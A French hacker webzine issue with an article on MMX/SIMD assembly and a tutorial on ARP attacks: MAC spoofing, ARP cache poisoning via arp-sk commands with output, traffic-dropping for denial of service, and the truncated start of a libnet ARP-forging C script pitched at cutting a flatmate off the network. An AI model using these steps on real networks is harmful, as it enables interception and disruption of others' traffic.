Articles

> Editorial

Auteur: aaSSfxxx

Introduction

Bienvenue dans ce premier numéro de ce magazine de N-PN !

Ce webzine sera le premier d'une longue lignée, du moins nous l'espérons, et a pour but de vous fournir des articles de qualité, tout en essayant de se rendre accessible et compréhensible aux plus débutants d'entre nous.
Comme vous pourrez le constater lors de la lecture, ce numéro est plus orienté vers le reverse-engineering et la programmation avec le langage assembleur, bien que ce numéro comporte un article sur la stéganographie ainsi que sur le protocole ARP, pour souffler un peu entre deux lignes d'assembleur.

Ce magazine est publié en HTML5, qui tient dans un fichier unique, afin d'éviter des étapes inutiles avant la lecture et le rendre accessible depuis quel appareil mobile (smartphone, tablette, netbook...) capable de supporter javascript et HTML5 (ce qui devrait être le cas). De plus, diffuser le zine sous cette forme permet d'éviter les liens morts, étant donné que toutes les ressources (images, fichiers d'exemple) sont directement stockés dans le fichier html.

Avant de vous laisser découvrir le sommaire, je tiens particulièrement à remercier spin, Luxerails, kallimero, fr0g, spartal1n qui ont rédigé les articles de ce zine, ainsi que Booster2ooo, qui est a créé la maquette de ce webzine.

Au menu

> Un aperçu des instructions SIMD

Auteur: spin

Ce court article, surtout théorique, présente d’une manière restreinte l’intérêt des instructions simd (Single Instruction Multiple Data) à celui qui programme déjà en assembleur – même à un débutant. Cet article n’est pas une initiation à la programmation avec simd, mais plutôt une discussion philosophique sur les bienfaits des extensions simd.

0x01 - Introduction

Aujourd’hui, l’intérêt de programmer en assembleur peut paraître assez moindre ; les compilateurs des langages haut-niveau produisent du code assez bon. Puis quand bien même un code généré par un compilateur ne serait pas aussi efficient qu’un code assembleur pensé par un humain, les machines de nos jours sont telles que la perte de performance serait trop infime pour que l’on s’en soucie. La question du pourquoi programmer ou continuer de programmer en assembleur fait l’objet d’un débat que je trouve tout-à-fait inintéressant. Programme en assembleur celui qui en a la volonté. Cependant, programmer en assembleur ne signifie pas programmer comme dans la pré-histoire.

De nos jours, les processeurs grand-public ne disposent plus d’instructions aussi primitives qu’on pourrait le croire – bien au contraire – et paradoxalement certaine de ces instructions sont moins primitives que des instructions d’un langage haut-niveau tel que le C.

0x02 - Il fut un temps

Tout au long de cet article nous parlerons de vecteurs. De ce pas, introduisons deux vecteurs tri-dimensionnels u et v, soient-ils :

                                
                →   ⎛ 42 ⎞      →   ⎛ 4 ⎞
                u = ⎜ 3  ⎟  et  v = ⎜ 6 ⎟
                    ⎝ 8	 ⎠          ⎝ 1	⎠
                    

L’enjeu est le suivant : réaliser la somme des deux vecteurs u et v. Soit w le vecteur somme tel que :

                →   →   →
                w = u + v
                 
                    ⎛ 42 ⎞   ⎛ 6 ⎞   ⎛ 42 + 4 ⎞
                  = ⎜ 3  ⎟ + ⎜ 4 ⎟ = ⎜  3 + 6 ⎟
                    ⎝ 8	 ⎠   ⎝ 1 ⎠   ⎝  8 + 1 ⎠
	        
                    

Techniquement et plus concrètement, nos vecteurs auront des composantes de chacune un octet. Les lecteurs ayant déjà pratiqué l’assembleur auront une idée quant à la représentation de ces valeurs en mémoire.

                u: db 42, 3, 8  ; vecteur u
                v: db  4, 6, 1  ; vecteur v
                w: rb 3         ; Reserve 3 Bytes
		    

L’algorithme le plus simple qui soit pour effectuer la somme vectorielle en assembleur est le suivant : charger la première composante du vecteur u dans un registre – disons le registre AL –, lui additionner la première composante du vecteur v→. Placer le contenu du registre dans la mémoire allouée pour la première composante du vecteur w→. En faire de même pour les autres composantes. Voici le code correspondant :

                mov al, [u]
                add al, [v]
                mov [w], al     ; 1re composante de w calculée

                mov al, [u+1]
                add al, [v+1]
                mov [w+1], al   ; 2e composante de w calculée

                mov al, [u+2]
                add al, [v+2]
                mov [w+2], al   ; 3e composante de w calculée


                u: db 42, 3, 8
                v: db  4, 6, 1
                w: rb 3
               	   

Par cette méthode, dite séquentielle, il nous est nécessaire d’user de neuf instructions afin d’effectuer notre addition vectorielle. Ce programme fonctionnerait parfaitement sur un processeur Intel 8086 datant de 1978. Ne vous-semblerait-il pas plus sage de trouver autre chose ?

0x03 - De nos jours

Depuis l’ère du calcul vectoriel « maison », les processeurs intègrent de nouvelles extensions prévu à ce type de calcul – les extensions simd (Single Instruction Multiple Data). Une extension est généralement le couple d’un jeu d’instructions et d’un jeu de registres, ces derniers ayant un usage en particulier. Les extensions simd furent dans un but de vectorisations des calculs. Le paradigme – s’opposant totalement avec le paradigme séquentiel – est le suivant : ayant une donnée multiple (un vecteur, une matrice), nous disposons d’instructions capable d’opérer sur la donnée multiple directement. En d’autre termes, le processeur sait ce qu’est un vecteur.

Les processeurs Intel et AMD se sont vus dotés de nouvelles extensions simd ces dernières années, notamment MMX (MultiMedia eXtensions) et SSE (Streaming Simd Extensions). Dans le présent article, seul un aperçu de l’extension MMX sera mis en application.

L’extension MMX, introduite avec le Pentium II en 1997, est composée d’un jeu d’une cinquantaine d’instructions, ainsi que huit registres 64 bits portant les noms : MM0, MM1, MM2, MM3, MM4, MM5, MM6 et MM7. Un seul de ces registre peut contenir une donnée multiple, soit une donnée de deux composantes de 32 bits, une donnée de quatre composantes de 16 bits ou bien une donnée de huit composantes de 8 bits.

Reprenons notre premier programme : l’addition des deux vecteurs u et v. MMX nous offre des instructions d’opération sur plusieurs composantes constituant la donnée d’un seul registre. En premier lieu, il nous faudrait avant tout pouvoir placer nos données dans ces fameux registre MMn. MMX propose alors deux instructions de déplacement de données – des instructions mov spéciales – qui sont movd (Move Doubleword – double mot de 32 bits) ou movq (Move Quadword – quadruple mot de 64 bits). Nous utiliserons évidemment l’instruction movd qui déplace 4 octets (32 bits). Nos vecteurs ayant seulement trois composantes d’un octet chacune, il nous suffira juste de définir une quatrième composante étant égale à 0.

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1           ; Reserve 1 Doubleword (4 octets)
                

Une telle instruction, comme nous nous en doutons, déplacera un vecteurs ayant une taille de 32 bits dans la partie basse d’un des registres MMn. La partie haute sera alors automatiquement mise à zéro.

Ici l’algorithme serait le suivant : placer un vecteur dans un registre MMn, placer l’autre vecteur dans le registre MMm, puis additionner les deux vecteurs. Remarquez que cette fois-ci nous parlons d’un vecteur comme étant une entité reconnue par le processeur, au même titre qu’un nombre, il n’y a plus de pointeur sur une chaîne de données.

L’extension MMX fournit diverses instructions d’addition, pour chaque cas. Le cas intéressant ici est l’instruction d’addition sur des composantes d’un octet : paddb. Il est important de noter que cette instruction effectue des additions sur des entiers non-signés, soit des entiers naturels.1

                movd mm0, [u]
                movd mm1, [v]
                paddb mm0, mm1

                ; mm0 contient désormais le vecteur somme

                movd [w], mm0

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1
                

Ce programme compte ainsi quatre instructions dans le but de réaliser l’addition vectorielle. Il aurait été possible de réaliser le même programme de la façon suivante :

                movd mm0, [u]
                paddb mm0, [v]
                movd [w], mm0

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1
                

Dans le précédent programme, nous additionnons le vecteur dans MM0 directement avec un vecteur en mémoire. Nous avons donc implémenté notre addition vectorielle en seulement trois instructions. Souvenons-nous que le programme séquentiel en comptait neuf.

Le lecteur désireux de connaître l’extension MMX dans les moindres détails peut se reporter au chapitre 9, Programming With the Intel MMX Technology, du manuel Intel, volume 1 [2].

0x04 - Applications concrètes

Nous savons à présent implémenter une addition vectorielle. Programmer en assembleur de façon moderne est fort bien, mais encore faudrait-il pouvoir tirer profit de cette technologie dans des applications concrètes. Typiquement, les instructions simd voient leur utilité dans le traitement multimédia ou dans les jeux vidéos.

Simulation d’éclairage

Le produit scalaire (aussi connu sous le nom de dot product) est beaucoup utilisé par les logiciels de rendus 3D ; en simplifiant à outrance, une forme 3D sont un ensemble de facettes (qui constituent la surface de la forme). Afin de connaître l’éclairage que subit chaque facette, le logiciel effectuera des tests en fonction du vecteur normal (perpendiculaire) ni à chaque facette et du vecteur l qui représente la source d’éclairage. Le sens du vecteur l indiquera le sens où l’éclairage se propage.

Le résultat du produit scalaire d’un vecteur ni et du vecteur l (notée ni·l) sera un paramètre influant sur l’intensité de l’éclairage d’une facette.

L’extension SSE4.1, introduite en 2007, nous offre justement deux instructions de produit scalaire sur les vecteurs : dpps pour la précision simple et dppd pour la précision double. Voilà qui peut être utile, aussi bien dans un jeu vidéo que dans un logiciel de modélisation tel que Blender.

Traitement d’image

Considérons une image matricielle, étant donc une grille de pixels. Il est intéressant, par exemple lors d’un éclaircissement sur l’image entière, de pouvoir effectuer l’opération sur plusieurs pixels en même temps, au lieu d’opérer pixel par pixel.

0x05 - Comparaison avec gcc

Nous implémentons à présent l’addition vectorielle en langage C, que nous compilerons avec gcc 4.6.2, dernière version à ce jour. Nous pourrons demander à gcc d’utiliser l’extension MMX – sinon il est clair que le programme assembleur sera plus efficient – grâce à la suivante commande : gcc -mmmx -masm=intel -S. Les options -S et -masm=intel spécifient que nous désirons obtenir le code assembleur généré, en syntaxe Intel. l’option -mmmx indique, évidemment, que gcc devra générer du code avec des instructions MMX, appelée MMX built-in function par la documentation gcc. Normalement, gcc aura recours à la fonction v8qi __builtin_ia32_paddb (v8qi, v8qi) si il est aussi futé qu’un humain. [1]. Voici le code :

                typedef struct
                {
                    char x;
                    char y;
                    char z;
                } Vect;


                Vect sumVect(Vect v1, Vect v2)
                {
                    Vect w = {v1.x + v2.x, v1.y + v2.y, v1.z + v2.z};
                    return w;
                }
                
Après un gcc -mmmx -masm=intel -S nous obtenons ceci :
                sumVect:
                ; début prologue
                    push    ebp
                    mov    ebp, esp
                    sub    esp, 16
                ; fin prologue
                    movzx    eax, BYTE PTR [ebp+12]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+16]
                    add    eax, edx
                    mov    BYTE PTR [ebp-3], al
                    movzx    eax, BYTE PTR [ebp+13]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+17]
                    add    eax, edx
                    mov    BYTE PTR [ebp-2], al
                    movzx    eax, BYTE PTR [ebp+14]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+18]
                    add    eax, edx
                    mov    BYTE PTR [ebp-1], al
                    mov    eax, DWORD PTR [ebp+8]
                    movzx    edx, WORD PTR [ebp-3]
                    mov    WORD PTR [eax], dx
                    movzx    edx, BYTE PTR [ebp-1]
                    mov    BYTE PTR [eax+2], dl
                ; début épilogue
                    mov    eax, DWORD PTR [ebp+8]
                    leave
                ; fin épilogue
                

Sans compter le prologue et l’épilogue de fonction, nous avons vingt instructions nécessaires pour effectuer l’addition vectorielle. Non, cela n’est pas un troll ; souvenez-vous, la différence de performance entre le code de gcc et le code humain est infime, de nos jours.

0x06 - Conclusion

De nos jours, nous pouvons en effet nous passer de tout programmer en assembleur. Mais les extensions simd sont tellement magiques et puissantes qu’il serait dommage de ne pas en faire usage, d’autant plus que les compilateurs ont visiblement du mal à générer du code simd pour l’instant.

0x07 - Références et notes

  1. GCC 4.6.2 Manual.
  2. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 1: Basic Architecture.


  1. Formellement, un entier non-signé est un entier dans un ensemble E ⊂ ℕ tel que : E = { n ∣ n ≤ 2p−1 } où p est le nombre de bits sur lequel on représente le nombre.

> Toutes les possibilités de l'ARP

Auteur: spartal1n

En bref, le protocole ARP (Address Resolution Protocol) permet de faire correspondre adresses IP et adresses physiques (appelées adresses MAC) sur un réseau local (LAN). Les attaques via ce protocole sont connues mais néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. Cet article va donc vous permettre de les connaître. Je décline donc responsabilité devant toutes utilisations mal intentionnés.

0x01 - Introduction

Le modèle OSI a été défini par l’International Standardization Organisation (ISO) afin de mettre en place un standard de communication entre les ordinateurs d’un réseau, il comporte sept couches que je ne developperai pas. Nous allons uniquement nous intéresser aux couches dites basses:

  • la couche liaison (niveau 2) sert d’interface entre la carte réseau et méthode d’accès.
  • la couche réseau (niveau 3) gère l’adressage logique et le routage.

Au niveau 2, les protocoles permettent la transmission des données en s’adaptant aux particularités du support physique (802.3, Ethernet, wireless, token ring, et de nombreux autres encore). A chaque support correspond une trame spécifique et un adressage associé. Le terme adresse MAC (Medium Access Control) désigne une adresse physique, indépendamment du support physique : il s’agit donc des adresses de niveau 2. Les protocoles de niveau 3 suppriment les différences qui existent aux niveaux inférieurs.

0x02 - Protocole Ethernet

Actuellement, la plupart des réseaux locaux (LAN, Local Area Network) reposent sur une couche physique Ethernet. Ce protocole se retrouve également dans la couche liaison.

Nom de l'image
Fig. 1 : Trame Ethernet

La structure d’une trame Ethernet :
les adresses Ethernet s’écrivent sur 6 octets (48 bits) en notation héxadécimale, séparés par le caractère ’:’ (’-’ sur Windows) :
les 3 premiers octets correspondent à un code constructeur (3Com, Sun, ...)
les 3 derniers octets sont attribués par le constructeur.

Ainsi, une adresse Ethernet est supposée être unique. Sous Unix, la commande ifconfig révèle l’adresse Ethernet associée à une carte :

            # sous Linux
            [spartal1n]$ /sbin/ifconfig eth0
            eth0 Link encap:Ethernet HWaddr 00:90:27:6A:58:74
            inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0
            ...
                    

Remarque: FF:FF:FF:FF:FF:FF correspond à l’adresse de diffusion (broadcast) qui permet d’envoyer un message à toutes les machines, et 00:00:00:00:00:00 est réservée.
On peut aussi modifier son adresse physique (MAC):

            # sous Linux
            [root@spartal1n]# ifconfig eth0 | grep HWaddr
            eth1 Link encap:Ethernet HWaddr 00:10:A4:9B:6D:81
            [root@spartal1n]# ifconfig eth0 down
            [root@spartal1n]# ifconfig eth0 hw ether 11:22:33:44:55:66 up
            [root@spartal1n]# ifconfig eth0 | grep HWaddr
            eth1 Link encap:Ethernet HWaddr 11:22:33:44:55:66
                    
Le type précise le protocole de niveau 3 qui est encapsulé dans le paquet, comme par exemple :
            - 2048 (0x0800) IPv4
            - 2054 (0x0806) ARP
            - 32923 (0x8019) Appletalk
            - 34525 (0x86DD) IPv6
                    

Les données occupent de 46 à 1500 octets. Le bourrage intervient lorsque le paquet encapsulé tient sur moins de 46 octets, comme c’est le cas des paquets ARP.

Cependant une trame Ethernet commence par sept octets codant la valeur 0xAA, suivi d’un huitième octet valant 0xAB. Cet entête permet au matériel de se synchroniser, l’état de synchronisation étant atteint lorsque le destinataire de la trame parvient à décoder correctement les deux derniers octets.

0x03 - Protocole ARP

Nom de l'image
Fig. 2 : paquet ARP (RFC 826)

Le protocole ARP (Address Resolution Protocol RFC 826) permet une correspondance dynamique entre adresses physiques et adresses logiques (adresses respectivement de niveau 2 et 3).

L’identificateur adresse physique détermine la configuration du champ longueur de l’adresse physique. Ainsi une valeur de 1 indique un réseau Ethernet (10 Mbit/s), etc...
L’identificateur adresse logique indique le protocole pour lequel on recherche la correspondance à une adresse logique donnée. Dans le cas du protocole IP, ce champ vaut 0x0800.
Le champ longueur de l’adresse physique indique la longueur en octets de l’adresse MAC, soit 6 pour des adresses Ethernet.
Le champ longueur de l’adresse logique indique la longueur en octets de l’adresse logique, soit 4 pour des adresses IP.
Le code précise la nature du paquet, soit 1 pour une demande (request ou who-has) et 2 pour une réponse (reply ou is at).
L’adresse physique de l’émetteur contient l’adresse Ethernet de l’émetteur. Dans le cas d’une réponse ARP, ce champ révèle l’adresse recherchée.
L’adresse logique de l’émetteur contient l’adresse IP de l’émetteur.
L’adresse physique du récepteur contient l’adresse Ethernet de l’émetteur de paquet. Dans le cas d’une demande ARP, ce champ est vide.
L’adresse logique du récepteur contient l’adresse IP du récepteur.

Le paquet ARP est ensuite encapsulé dans une trame Ethernet.

Lorsqu’une machine émet une trame sur le support physique, toutes les stations y étant connectées la reçoivent. Par la suite, la station doit être capable de déterminer si cette trame lui est destinée. Ainsi, un premier filtre gérant les trames émises et reçues par le système agit au niveau de la pile TCP/IP.

Il compare l’adresse MAC contenue dans une trame à celle associée à la carte réseau (nous sommes ici au niveau 2 du modèle OSI). Si ces deux adresses sont identiques, la partie données de la trame est remontée au niveau 3 pour traitement ultérieur. Dès lors, il est essentiel pour l’instigateur d’une communication de récupérer préalablement l’adresse MAC du destinataire. C’est là qu’intervient le protocole ARP. Chaque système dispose d’une table qui sauvegarde les correspondances (adresse MAC, adresse IP), c'est le cache ARP. Ainsi, une requête ARP est émise uniquement si le destinataire n’est pas présent dans la table.

La commande arp -a affiche le contenu de la table.

Comment rediriger le trafic ?

0x04 - Écoute de réseau (sniffing)

Lorsqu'on veut sniffer un réseau on pense tout de suite à Tcpdump ou Wireshark. Si cette technique est simple à mettre en oeuvre et extrêmement difficile à détecter lorsque le mécanisme est mis en place dans une totale passivité, elle se trouve très vite confrontée à ses limites. D’une part, sur un réseau commuté, chaque branche ne reçoit que les trames destinées à une adresse MAC qui y est présente. De fait, l’utilisation de plus en plus courante de commutateurs (switch) Ethernet (de niveau 2) réduit la portée d’une telle écoute aux seules trames destinées à la station espionne, ce qui, tout le monde en conviendra, présente peu d’intérêt. D’autre part, les trames sniffées ne peuvent pas être détournées de leur destination. Enfin une gestion parfois difficile d’enventuelles erreurs consécutives à l’introduction de données (gestion des numéros de séquence TCP) ou l’évincement d’une des deux parties (gestion des RST de TCP) peut devenir problématique...

0x05 - Usurpation d’adresse MAC (MAC spoofing)

Comme nous l’avons vu plus tôt, une trame Ethernet dispose d’un champ source et d’un champ destination. Ces champs sont examinés par les commutateurs Ethernet pour, d’une part, choisir sur quel port ils vont envoyer une trame reçue par examen de l’adresse MAC destination, et d’autre part mettre à jour une table associant ses ports aux adresses MAC des différents postes par exament de l’adresse MAC source. Cette table, appelée table CAM (Content Adressable Memory) dans la terminologie Cisco, contient pour chaque port les adresses MAC des hôtes qui y sont connectés. Le contenu de cette table est mis à jour dynamiquement pour permettre le changement de port d’un hôte par exemple. L’usurpation d’adresse MAC vise à se servir de ce mécanisme de mise à jour pour forcer le commutateur à croire que la station dont nous voulons écouter le trafic se trouve sur notre port. Le principe est simple : nous envoyons une trame ayant pour adresse source l’adresse MAC de notre victime, et pour destination notre adresse MAC. Le commutateur, en recevant cette trame, met sa table à jour en associant l’adresse MAC de la victime à notre port. Dès lors, l’intégralité du trafic qui lui est destiné est dirigé sur notre port et il ne nous reste plus qu’à le lire tranquillement.

Pour voir le trafic à destination du routeur, j'envoie donc des trames Ethernet dont l’adresse source est 52:54:05:FDBig GrinE:E5 et l’adresse destination 00:10:A4:9B:6D:81. Le commutateur met alors sa table CAM à jour pour ajouter l’adresse MAC 52:54:05:FDBig GrinE:E5 au port auquel je suis connecté, et la supprime du port auquel est connecté le routeur. Une représentation rapide de la table CAM est :

            # Avant
            Port | Adresse MAC
            -------------------------
            1 | 52:54:05:F4:62:30 # cible
            2 | 52:54:05:FDBig GrinE:E5 # routeur
            3 | 00:90:27:6A:58:74 # paul
            4 | 00:10:A4:9B:6D:81 # spartal1n

            #Après
            Port | Adresse MAC
            -------------------------
            1 | 52:54:05:F4:62:30 # cible
            2 |
            3 | 00:90:27:6A:58:74 # paul
            4 | 00:10:A4:9B:6D:81; 52:54:05:FDBig GrinE:E5 # spartal1n, routeur
                    

Mais cette technique n'est pas à l'abri de problème car la victime émet encore des paquets, ce qui place le commutateur face à une situation conflictuelle : il reçoit la même adresse MAC sur deux ports différents. Selon le matériel utilisé et sa configuration, la réaction va d’une mise à jour systématique de la table par le dernier paquet reçu à une désactivation administrative du port usurpant l’adresse.

0x06 - Usurpation d’identité ARP (ARP spoofing)

Devant la limitation de l’usurpation d’adresse MAC en terme de détournement de trafic et de furtivité, nous nous attaquons à la couche supérieure. Enfin, pas tout à fait à la couche supérieure, à savoir IP, mais au mécanisme qui permet de faire la correspondance entre les adresses MAC et les adresses IP : ARP. En effet, si nous arrivons à associer notre adresse MAC à l’adresse IP dont nous voulons obtenir le trafic, nous aurons gagné.

Le cache ARP d’un hôte doit parfois être mis à jour : changement d’adresse IP d’une machine, changement de carte réseau suite à une panne, etc. Pour faire face à de tels changements, le cache observe ce qu’il reçoit au niveau ARP pour tenir ses entrées à jour. Dans le cas qui nous intéresse, lorsqu’un hôte reçoit une trame contenant une réponse ARP et que son cache contient une entrée correspondant à l’adresse IP concernée par celle-ci, il met l’entrée à jour si les informations de son cache diffèrent de celle contenue dans le paquet ARP. Ainsi, lorsque batman va recevoir la réponse de robin, il va mettre son cache à jour et écraser l’entrée que nous venions juste de falsifier. Il est donc nécessaire d’envoyer des réponses de manière continue afin que le cache conserve l’entrée falsifiée que nous voulons.

En outre, cette technique suppose que l’hôte visé ne possède pas d’entrée correspondant à l’adresse IP que nous voulons falsifier, sans quoi aucune requête n’est émise. C’est malheureusement rarement le cas, puisque les adresses les plus intéressantes sont des machines souvent interrogées par nos cibles potentielles.

0x07 - Corruption de cache ARP (ARP cache poisoning)

L’idéal serait donc d’agir directement sur le cache ARP de notre cible, indépendament des requêtes qu’il pourrait être amené à émettre. Pour y parvenir, nous devons être capables de réaliser deux opérations : la création d’une entrée dans le cache et le mise à jour d’entrées existantes.

Pour créer efficacement une entrée dans le cache ARP d’une machine, l’idéal serait de l’amener à émettre une requête en vue de communiquer avec l’adresse IP qui nous intéresse.

Ce comportement est extrêmement intéressant. Si je veux créer une entrée pour l’adresse IP de mon routeur (192.168.1.2) correspondant à son adresse MAC (00:10:A4:9B:6D:81) dans le cache de ma cible, il me suffit de lui envoyer une requête ARP, avec comme adresse MAC source la mienne et comme adresse IP source celle du routeur. Cependant, une requête ARP est émise en diffusion, ce qui est assez embarassant puisque la cible va voir passer cette requête.

Nous jouons donc sur la couche Ethernet, et envoyer notre requête en unicast, à destination de la cible. En effet, la couche ARP ne fait aucune vérification de cohérence entre les entêtes Ethernet et le contenu du message ARP.

            [root@joker]# arp-sk -w -d cible -S routeur -D cible
            + Running mode "who-has"
            + IfName: eth0
            + Source MAC: 00:10:a4:9b:6d:81
            + Source ARP MAC: 00:10:a4:9b:6d:81
            + Source ARP IP : 192.168.1.2 (routeur)
            + Target MAC: 52:54:05:F4:62:30
            + Target ARP MAC: 00:00:00:00:00:00
            + Target ARP IP : 192.168.1.1 (cible)
            --- Start sending --
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
            Tell 192.168.1.2 (00:10:a4:9b:6d:81)
            --- batman (00:00:00:00:00:00) statistic ---
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
            Tell 192.168.1.2 (00:10:a4:9b:6d:81)
            1 packets tramitted (each: 42 bytes - total: 42 bytes)

            Si on observe le cache ARP de la cible, on constate que :
            # avant
            [cible]$ arp -a
            alfred (192.168.1.3) at 00:90:27:6a:58:74
            # après
            [cible]$ arp -a
            routeur (192.168.1.2) at 00:10:a4:9b:6d:81
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    

Nous avons donc réussi non seulement à créer une entrée pour le routeur dans le cache ARP de la cible sans que cette dernier n’ait initié la moindre requête, mais surtout, nous avons réussi à lui donner les valeurs qui nous intéressaient. À partir de maintenant, et jusqu’à ce que cette entrée se trouve mise à jour avec des valeurs différentes, lorsque la cible voudra envoyer un paquet IP au routeur, elle le placera dans une trame Ethernet qui nous sera destiné.

Maintenant que nous savons créer des entrées dans le cache ARP d’un hôte, nous nous intéressons à leur mise à jour. Cela sert non seulement pour modifier une entrée existante, mais aussi pour nous garantir le maintient de la valeur des entrées malgré d’éventuelles mises à jour ultérieures du cache. Nous exploitons le mécanisme vu précédemment pour mettre à jour les entrées du cache. Supposons que la cible posséde une entrée valide pour robin :

            [cible]$ arp -a
            routeur (192.168.1.2) at 52:54:05:fdBig Grine:e5
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    

Pour mettre à jour cette entrée, nous envoyons à la cible une réponse ARP venant du routeur, mais associant son IP à notre adresse MAC :

            [root@spartal1n]# arp-sk -r -d cible -S routeur -D cible
            + Running mode "reply"
            + IfName: eth0
            + Source MAC: 00:10:a4:9b:6d:81
            + Source ARP MAC: 00:10:a4:9b:6d:81
            + Source ARP IP : 192.168.1.2 (routeur)
            + Target MAC: 52:54:05:F4:62:30
            + Target ARP MAC: 52:54:05:F4:62:30
            + Target ARP IP : 192.168.1.1 (cible)
            --- Start sending --
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP For 192.168.1.1 (52:54:05:F4:62:30)
            192.168.1.2 is at 00:10:a4:9b:6d:81
            --- batman (52:54:05:F4:62:30) statistic ---
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP For 192.168.1.1 (52:54:05:F4:62:30):
            192.168.1.2 is at 00:10:a4:9b:6d:81
            1 packets tramitted (each: 42 bytes - total: 42 bytes)
            
            Si nous regardons maintenant le cache ARP de batman, nous constatons la mise à jour de l’entrée :
            
            [cible]$ arp -a
            routeur (192.168.1.2) at 00:10:a4:9b:6d:81
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    
Notre objectif est donc atteint. Pour maintenir ces valeurs dans le cache, il nous suffira de renouveler régulièrement l’envoi de ces messages ARP. arp-sk, par défaut, envoie un message toutes les 5 secondes.

Remarque:
Une fois le cache polué, les trames que nous recevons sont semblables à celles que reçoit un routeur : l’adresse MAC destination de la trame Ethernet n’est pas celle associée à l’adresse de destination du paquet IP. Pour renvoyer les trames à leur destinataire légitime, il suffit donc d’activer le routage IP sur le poste attaquant (echo 1 > /proc/sys/net/ipv4/ip_forward ).

0x08 - Les différentes attaques possibles

Écoute

Une fois qu’on a réussi à détourner le trafic émis par un hôte à destination d’un autre, la première chose intéressante à faire est de regarder les données qui transitent avant de les renvoyer à leur véritable destinataire. Nous réalisons donc un Man in the Middle.

Interception (proxying) et vol de connexion (hijacking)

À présent, nous sommes capables de réaliser des opération de détournement de flux gâce a notre Man in the Middle nous pouvons donc modifier ou extraire les données sans qu’aucune des deux parties ne s’en aperçoive. De plus si des systèmes de vérification d’intégrité simples comme CRC32, MD5 ou SHA1 étaient mis en place nous pourrions les recalculer les sommes à la volée.

Passage de pare-feu par usurpation (spoofing)

En utilisant la possibilité de se faire passer pour un hôte quelconque du réseau auprès de la passerelle et le concept d’interception de flux, nous pouvons initier des connexions vers le monde extérieur avec les listes d’accès définies pour l’adresse usurpée. Ceci nous permet d’élever notre niveau de privilège pour les accès réseau à travers un éventuel dispositif de filtrage (pare-feu, proxy).

Déni de service (DoS)

Il est très facile de réaliser des dénis de service en utilisant les attaques sur ARP. Il suffit de refuser les paquets détournés :
[root@joker]# iptables -A FORWARD -p tcp -s routeur -d cible -j DROP
Pour le routeur, la cible est morte... Il est ainsi possible de rendre un serveur de domaines inaccessible à un hôte donné, de manière à se positioner comme serveur secondaire et proposer des mécanismes d’authentification plus faibles.

0x09 - Conlusion

Le protocole Arp permet dans un réseau local de manipuler la plupart des communications, cependant des méthodes pour se protéger existe telles que un filtrage au niveau de l'ARP, ou un adressage Ip/ARP statique, d'un IDS(système de détection d'intrusion) surveillant le cache ARP ou encore l'utilisation d'authentification fore(SSL,etc...) J'espère donc que ce developpement du protocole ARP vous a intéresser, je joint à la fin de cet article un code vous permettant d'éjecter durant une période donnée une personne de votre réseau en utilisant le cahce poising. Dans le prochain article je developperai l'attaque Man in th Middle. Aller à tanto tout le monde !

PS: Pour tout renseignement, coquille ou autre je suis disponible via MP (message privé) ou sur l'irc #N-PN (irc.n-pn.fr).

0x0A - Script d'ARP Poisoning

Commençons par installer l'environnement adapté: installer le paquet libnet-dev et supprimer les restrictions du noyau linux sur les requêtes ARP forgées.

Ce code d'ARP Poising a été créé par SpartAl1n. Je me suis inspiré de plusieurs sites pour obtenir après recroisement ce code. Il permet de forger des requêtes ARP ayant pour adresse Mac source votre interface réseau. Vous pouvez grâce à ce code rediriger des paquets pour par exemple éjecter une personne de votre réseau en le redirigeant sur votre machine.( coloc' qui utilise trop de bande passante). Je vous conseil de mettre dans comme adresse IP source l'IP de votre routeur ou de votre Box.

           /*Correction des principaux problèmes:
            * - Supprimer les entrées dans le cache ARP sinon on peut avoir une erreur car deux adresses ip
            * seront liées pour la même ardesse Mac.
            *
            * arp -s (ajouter une entrée statique), exemple : arp -s 192.168.1.2 00:40:33:2D:B5Big GrinD
            * arp -d (supprimer une entrée), exemple : arp -d 192.168.1.2
            *
            * - Supprimer la protection contre l'envoi de requête ARP (Variable sur 1):
            * - Editer /proc/sys/net/ipv4/conf/all/arp_accept
            * - Editer /proc/sys/net/ipv4/conf/eth1/arp_accept
            */

            #include <stdio.h>
            #include <unistd.h>
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <arpa/inet.h>
            #include <libnet.h>

            ////////////////////////////// USAGE //////////////////////////////////////////

            void usage (char *name)
            {
                printf ("%s - Send arbitrary ARP replies\n", name);
                printf ("Usage: %s -s ip_address -t dest_ip\n", name);
                printf (" -s IP address qu'on pense qu'on est\n");
                printf (" -t IP address du destinataire\n");
                printf (" -m Ethernet MAC address du destinataire\n");
                exit (1);
            }

            ///////////////////////////// MAIN /////////////////////////////////////////////

            int main (int argc, char *argv[])
            {
                char o; /* Pour le processus d'option */
                char *device = NULL; /* interface d'accès au réseau*/
                in_addr_t ipaddr; /* Ip source du paquet*/
                in_addr_t destaddr; /* IP du destinataire*/
                u_int8_t *macaddr; /* Adresse Mac du destinataire */
                libnet_t *l; /* libnet context */
                struct libnet_ether_addr *hwaddr; /* Adresse Mac de la source(nous)*/
                libnet_ptag_t arp = 0, eth = 0; /* Tag ARP protocol et Ethernet protocol*/
                char errbuf[LIBNET_ERRBUF_SIZE]; /* messages d'erreur */
                int r; /* generic return value */
                int nb_paquet=0,i; /* Variable pour l'envoi des paquets*/


                puts("Bienvenue dans le ARP Poising by SpartAl1n");

                if(argc < 3)
                usage (argv[0]);

                while ((o = getopt (argc, argv, "i:tConfused:m:")) > 0)
